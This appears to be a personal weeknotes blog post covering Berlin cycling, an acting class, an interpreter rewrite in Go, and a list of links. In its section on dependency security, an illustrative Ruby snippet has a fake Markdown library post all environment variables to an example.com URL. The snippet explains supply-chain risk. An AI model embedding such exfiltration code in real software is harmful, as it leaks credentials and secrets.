Weeknotes 2025 W05: Best performance
Random bits:
-
I passed my six-month probation period at work!
-
When people talk about HRT they mean hormone replacement therapy, but I’ve had — years ago now — a different kind of HRT: Heidelberg Retinal Tomography! That’s where they shoot lasers into your eyeballs (pew pew) to make a three-dimensional map of your retina. Very sci-fi.
And so: not to brag, but I’ve had laser eyes since before NFTs existed.
-
I have accidentally created an alternative Dune universe where Mentats are called Dentats, and the saying goes “the spice must floss.”
Stuff happened with the traffic in Berlin this week:
-
I got stopped by the police for not having my bike lights on. Turns out that during the repairs to my Brompton bike last week, the lights got switched off and I didn’t realize; my dynamo-powered bike lights are on all the time.
The police were remarkably friendly. Whew! It’s rather likely that this is because I am a white man who speaks German.1
-
I hate being overtaken from the right. The other day, I gently slowed down, and carefully turned right onto the cycle path of a side street, when a cyclist attempted to overtake me from the right and collided with me. He the proceeded to insult me and loudly ask me what is wrong with me for turning right.
It is frustratingly common for cyclists to overtake each other from the right. It is dangerous (and illegal) and I simply do not understand how people think this is okay.
-
I live close to an arterial road with a 30 km/h (20 mph) speed limit, but very few drivers care about that speed limit. I’ve seen drivers go well over 100 km/h on there.2
But as of recently, all the drivers have been sticking to the speed limit. Every single car is driving 30 km/h at most. Not 90 km/h, not 50 km/h, probably not even 40 km/h. I was wondering what spurred this sudden shift in behavior, and then noticed the newly installed speed cameras. Fucking finally!
Earlier this week, I managed to put together the best performance so far in my acting class. I put in a ton of time in preparing the piece, and that effort has paid off.
I’ve got this scene nailed down well enough that I’m looking for new material to take to class. I had the idea of writing something myself, but not only am I a slow writer, I fear that I am far too self-conscious to perform something I’ve written myself.
The progress on my Writing an Interpreter book is slow. I was pondering a rewrite of the primary interpreter last week, and I’ve almost got a parser working in Go. It feels like starting over, and it certainly is a little demotivating.
I’m not using Crystal for the interpreter. It’d be faster to get one up and running — Crystal is quite similar to Ruby after all — but the language has a few drawbacks that bother me enough to not consider it as a programming language for this project:
-
Whole-program compilation: The entire source code is compiled every single time. This makes compilation consistently slow for large projects. Crystal doesn’t really have a module system that would allow for good incremental compilation,3 and that might just be a fundamental flaw of the language itself.
-
Lack of covariance: Crystal doesn’t really have covariance. For example, if a
Text
class has a subclassNovel
, then an array ofNovel
s is not an array ofText
s. In mathematical terms:A <: B
unfortunately does not implyA[] <: B[]
. This has gotten in my way many times before.
So, Go is it.
Here is an interesting read about the security and reliability of third-party dependencies in code: Can We Retain the Benefits of Transitive Dependencies Without Undermining Security? (Laurence Tratt, 2024).
This article is of particular interest to me because I have given this topic some thought before. I even started designing a capabilities-secure programming language that would avoid the problem described in Tratt’s article. The core idea is described succinctly by Tratt as follows:
The more dependencies we use within a single process, the less suitable the process is as a security mechanism.
I too consider the process no longer suitable as a security mechanism. Consider a third-party dependency that performs conversion of Markdown source to HTML:
module Markdown
def self.convert_to_html(source)
# [snip]
end
end
There is little to prevent this third-party dependency from accessing the filesystem, the environment, or the network:
module Markdown
def self.convert_to_html(source)
uri = URI("http://www.example.com/upload-env")
res = Net::HTTP.post_form(uri, ENV.to_h)
# [real implementation here]
end
end
The environment variables tend to contain sensitive information, such as credentials, and exfiltrating that information, like in the example above, would be of great interest to adversaries.
To the best of my knowledge, this is a problem in every single mainstream programming language.
And yes, I have been thinking about prototyping a capabilities-secure solution on the level of programming languages. But I fear I severely lack the time to explore this properly.
Entertainment:
-
I’ve finally been getting around to reading some of Philip K. Dick’s work — starting with The Minority Report,4 which is a remarkably good read. It is quite different from the movie (a fairly standard action sci-fi flick) and I find myself more drawn to the sociological and psychological aspects of the novella, which are still relevant today.
-
The Pillowman5 is particularly dark. I had initially hoped to take a scene or a monologue from it for my acting class, but it’s quite likely a little too much.
Links:
-
The Alt-Right Playbook: The South Bank of the Rubicon (Innuendo Studios): Mentioned last week as a Nebula link, but now it’s on YouTube too.
If you haven’t yet, the entire The Alt-Right Playbook is an excellent watch.
-
Why We’re Bringing Pebble Back (Eric Migicovsky): Ooh! This is exciting. I had a Pebble once, but it broke soon after I got it when I showered with it by accident.6 I’ve been longing for a watch,7 and I’d love to have a Pebble again.
-
The Racist Cisgender Nonsense of Emilia Perez (Jessie Gender): Oof! I haven’t seen the Emilia Pérez film, nor do I intend to — for reasons that will be obvious after watching this video essay.
-
r/menwritingwomen (via Jessie Gender): What a wonderful collection! (“She breasted boobily down the stairs” is parody, though — right?)
-
when you watch the movie with all the exposition removed (CinemaStix): The Bourne Identity isa good movie, but I think I’d like the version that Danny Boyd suggests even more!
-
Declassified CIA Guide to Sabotaging Fascism Is Suddenly Viral (Jason Koebler for 404 Media): I wrote about this delightful book before.
-
The Hidden Pattern in Post Codes (CGP Grey)
-
How do fish get into isolated mountain lakes? (MinuteEarth): Poop?!
-
Grammar rules you can stop sticking to (RobWords): Ooh! Hopefully a good video to end the day with. (This video taught me the word “perspicuous:” easy to understand.)
-
The clever feature that makes cheap heaters safe — and why they’re actually dangerous (Technology Connections): Alec’s videos are informative and entertaining, and his experimentation has a certain “imp of the perverse” quality to it. (That’s good! I think.)
Tech links:
-
Chris Ferdinandi from Go Make Things has written a few articles that resonate with me: Durable websites, How the tech you build is used , and Accessibility is woke now?
-
Tony Finch on how to use Touch ID for sudo: Neat! I’ve tested this out and it seems to work rather well.
-
I speak German well enough, I should say. I’m not great at it. ↩︎
-
I was once cycling there and a race car flew past me, blasting me with a shockwave. Yikes. ↩︎
-
Ruby, which Crystal is distinctly inspired by, doesn’t have one either. ↩︎
-
Philip K. Dick, The Minority Report (New York: Pantheon Books, 2009). ↩︎
-
Martin McDonagh, The Pillowman (London: Faber and Faber Plays, 2003). ↩︎
-
The Pebble model I got was supposed to be water-resistant, but it wasn’t due to a manufacturing defect. I got a refund, weeks before Pebble shut down. ↩︎
-
I mysteriously lost my Fitbit almost a year ago. Still very strange how that could’ve happened. ↩︎